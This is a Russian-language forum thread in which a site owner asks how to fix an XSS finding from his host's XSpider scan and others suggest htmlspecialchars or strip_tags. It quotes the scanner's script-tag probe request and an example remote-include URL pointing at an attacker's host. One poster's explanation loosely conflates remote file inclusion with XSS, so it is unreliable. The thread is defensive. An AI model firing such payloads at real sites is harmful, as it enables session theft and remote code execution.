Межсайтовый скриптинг.

[AlieN]

Получил сегодня письмо от мастерхоста, мол уязвим мой сайт межсайтовым скриптингом.
Соотвественно нужно проверять входящие данные хорошенько.

Может кто уже это делал, покажите сурс

[ThE0ReTiC]

AlieN:
мой сайт межсайтовым скриптингом.

и чем они это аргументирован?
а то мастерхост те еще прецы.

[AlieN]

и чем они это аргументирован?

Результатами отчёта

а то мастерхост те еще прецы.

Они XSpider\'ом все сайты просканировали.......
Вот код ошибки:

межсайтовый скриптинг (XSS)
HTTP/1.1
Описание
Возможно выполнение атаки межсайтовый скриптинг.
Запрос для выполнения атаки:

GET /search.phtml?search[price]=1&search[price_type]=1&search[order]=1&search[order_type]=1&search[search_string]=%22%27%3Cscript%3EXSS%3C%2Fscript%3E

Результат работы
<...>
align="center" border="0">

Поисковая фраза
XSS">



Цена (в $)

менее
более

<...>

[Neter]

AlieN
[P]htmlspecialchars[/P]

[AlieN]

И все? Меня пугали комбинациями типа таких:
htmlcpecialchars(addslashes(stripslashes(add_slashes($value))));

И вообще, что это такое.....
Это же не SQL-инъекция?
Или они между собой связаны?

[Forza]

А можно для повышения собственной эрудиции узнать, что вкладывается в понятие "межсайтовый скриптинг"?

[Макс]

Межсайтовый скриптинг подразумевает использование своего сайта для взлома чужого.
Известные варианты :
 - include() скрипта со своего сайта :
   www.example.com/index.php?page=htttp://myhost.ru/my_script.php
 - внедрение яваскрпта, который будет слать какие-то данные (идентификатор сессии например) на твой сайт

[AlieN]

Макс
htmlspecialchars спасает?
Или нужна более умная конструкция?

[Макс]

AlieN
спасет.
Можно вообще strip_tags() делать - по тегам все равно поиск вести не надо